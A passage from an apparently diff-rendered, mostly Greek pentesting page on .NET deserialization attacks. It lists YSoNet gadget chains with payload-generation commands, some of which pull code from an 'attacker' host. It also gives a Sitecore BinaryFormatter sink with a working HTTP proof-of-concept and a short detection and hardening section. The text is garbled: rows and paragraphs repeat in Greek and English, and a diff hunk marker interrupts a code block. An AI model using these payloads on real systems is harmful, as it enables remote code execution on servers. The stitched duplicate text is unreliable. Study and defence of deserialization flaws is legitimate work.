| **ActivitySurrogateSelector** | Εκμεταλλεύεται το `System.Workflow.ComponentModel.ActivitySurrogateSelector` για να *παρακάμψει το φιλτράρισμα τύπων .NET ≥4.8* και να καλέσει απευθείας τον **κατασκευαστή** μιας παρεχόμενης κλάσης ή να **συγκεντρώσει** ένα αρχείο C# εν κινήσει | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Εκμεταλλεύεται την **παλαιά XML** αναπαράσταση του `System.Data.DataSet` για να δημιουργήσει αυθαίρετους τύπους γεμίζοντας τα πεδία `<ColumnMapping>` / `<DataType>` (προαιρετικά προσποιούμενος τη βιβλιοθήκη με `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | Σε εκτελέσιμα περιβάλλοντα WPF (> .NET 5) αλυσίδες property getters μέχρι να φτάσει στο `System.CodeDom.Compiler.CompilerResults`, στη συνέχεια *συγκεντρώνει* ή *φορτώνει* μια DLL που παρέχεται με `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Χρησιμοποιεί το WPF `System.Windows.Data.ObjectDataProvider` για να καλέσει μια αυθαίρετη στατική μέθοδο με ελεγχόμενα επιχειρήματα. Το YSoNet προσθέτει μια βολική παραλλαγή `--xamlurl` για να φιλοξενήσει το κακόβουλο XAML απομακρυσμένα | `BinaryFormatter`, `Json.NET`, `XAML`, *κ.ά.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Ενσωματώνει το `ScriptBlock` στο `System.Management.Automation.PSObject` που εκτελείται όταν το PowerShell αποδομεί το αντικείμενο | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
| **TypeConfuseDelegate** | Corrupts the `DelegateSerializationHolder` record so that, once materialised, the delegate points to *any* attacker supplied method (e.g. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Abuses `System.Workflow.ComponentModel.ActivitySurrogateSelector` to *bypass .NET ≥4.8 type-filtering* and directly invoke the **constructor** of a provided class or **compile** a C# file on the fly | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Leverages the **legacy XML** representation of `System.Data.DataSet` to instantiate arbitrary types by filling the `<ColumnMapping>` / `<DataType>` fields (optionally faking the assembly with `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | On WPF-enabled runtimes (> .NET 5) chains property getters until reaching `System.CodeDom.Compiler.CompilerResults`, then *compiles* or *loads* a DLL supplied with `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (review) | Uses WPF `System.Windows.Data.ObjectDataProvider` to call an arbitrary static method with controlled arguments. YSoNet adds a convenient `--xamlurl` variant to host the malicious XAML remotely | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Embeds `ScriptBlock` into `System.Management.Automation.PSObject` that executes when PowerShell deserialises the object | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> Όλα τα payloads είναι **γραμμένα στο *stdout*** από προεπιλογή, καθιστώντας το απλό να τα στείλετε σε άλλα εργαλεία (π.χ. γεννήτριες ViewState, κωδικοποιητές base64, HTTP clients).
> Όλα τα payloads **γράφονται στο *stdout*** από προεπιλογή, κάνοντας εύκολο να τα δρομολογήσετε (pipe) σε άλλα εργαλεία (π.χ. ViewState generators, base64 encoders, HTTP clients).
### Building / Installing YSoNet
Εάν δεν υπάρχουν διαθέσιμες προ-συγκεντρωμένες εκδόσεις κάτω από *Actions ➜ Artifacts* / *Releases*, η παρακάτω **PowerShell** εντολή θα ρυθμίσει ένα περιβάλλον κατασκευής, θα κλωνοποιήσει το αποθετήριο και θα συγκεντρώσει τα πάντα σε *Release* mode:
Εάν δεν υπάρχουν προκατασκευασμένα binaries στο *Actions ➜ Artifacts* / *Releases*, η ακόλουθη **PowerShell** one-liner θα ρυθμίσει ένα περιβάλλον build, θα κλωνοποιήσει το repository και θα μεταγλωττίσει τα πάντα σε *Release* mode:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
@ -216,17 +216,48 @@ cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
```
Το συμπιεσμένο `ysonet.exe` μπορεί να βρεθεί κάτω από `ysonet/bin/Release/`.
Το μεταγλωττισμένο `ysonet.exe` μπορεί στη συνέχεια να βρεθεί στο `ysonet/bin/Release/`.
### Ανίχνευση & Σκληροποίηση
* **Ανιχνεύστε** απροσδόκητες διεργασίες παιδιών του `w3wp.exe`, `PowerShell.exe`, ή οποιαδήποτε διεργασία αποδομεί δεδομένα που παρέχονται από τον χρήστη (π.χ. `MessagePack`, `Json.NET`).
* Ενεργοποιήστε και **επιβάλετε φιλτράρισμα τύπων** (`TypeFilterLevel` = *Full*, προσαρμοσμένος `SurrogateSelector`, `SerializationBinder`, *κ.λπ.*) όποτε δεν μπορεί να αφαιρεθεί ο παλαιός `BinaryFormatter` / `NetDataContractSerializer`.
* Όπου είναι δυνατόν, μεταναστεύστε σε **`System.Text.Json`** ή **`DataContractJsonSerializer`** με μετατροπείς βασισμένους σε λευκή λίστα.
* Εμποδίστε επικίνδυνες βιβλιοθήκες WPF (`PresentationFramework`, `System.Workflow.*`) να φορτώνονται σε διαδικασίες ιστού που δεν θα έπρεπε ποτέ να τις χρειάζονται.
### Ανίχνευση & Σκληραγώγηση
* **Εντοπίστε** απροσδόκητες child processes του `w3wp.exe`, `PowerShell.exe`, ή οποιασδήποτε διεργασίας deserialising δεδομένα που παρέχονται από χρήστη (π.χ. `MessagePack`, `Json.NET`).
* Ενεργοποιήστε και **επιβάλλετε type-filtering** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) όποτε ο legacy `BinaryFormatter` / `NetDataContractSerializer` δεν μπορεί να αφαιρεθεί.
* Όπου είναι δυνατό, μεταβείτε σε **`System.Text.Json`** ή **`DataContractJsonSerializer`** με converters βασισμένους σε whitelist.
* Μπλοκάρετε τη φόρτωση επικίνδυνων WPF assemblies (`PresentationFramework`, `System.Workflow.*`) σε web processes που δεν θα έπρεπε ποτέ να τα χρειάζονται.
## Πραγματικός sink: Sitecore convertToRuntimeHtml → BinaryFormatter
Ένας πρακτικός .NET sink προσβάσιμος σε authenticated Sitecore XP Content Editor ροές:
- Sink API: `Sitecore.Convert.Base64ToObject(string)` καλεί `new BinaryFormatter().Deserialize(...)`.
- Trigger path: pipeline `convertToRuntimeHtml``ConvertWebControls`, το οποίο αναζητά ένα sibling element με `id="{iframeId}_inner"` και διαβάζει ένα `value` attribute που θεωρείται ως base64encoded serialized data. Το αποτέλεσμα γίνεται cast σε string και εισάγεται στο HTML.
Minimal endtoend (authenticated):
```
// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>
// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
- Gadget: οποιαδήποτε BinaryFormatter αλυσίδα που επιστρέφει ένα string (οι παρενέργειες εκτελούνται κατά τη deserialization). Δείτε YSoNet/ysoserial.net για να δημιουργήσετε payloads.
Για μια πλήρη αλυσίδα που ξεκινά preauth με HTML cache poisoning σε Sitecore και οδηγεί σε αυτό το sink:
{{#ref}}
../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}}
## Αναφορές
- [YSoNet .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
- [ysoserial.net original PoC tool](https://github.com/pwntester/ysoserial.net)
- [Microsoft CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
- [watchTowr Labs Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
{{#include ../../banners/hacktricks-training.md}}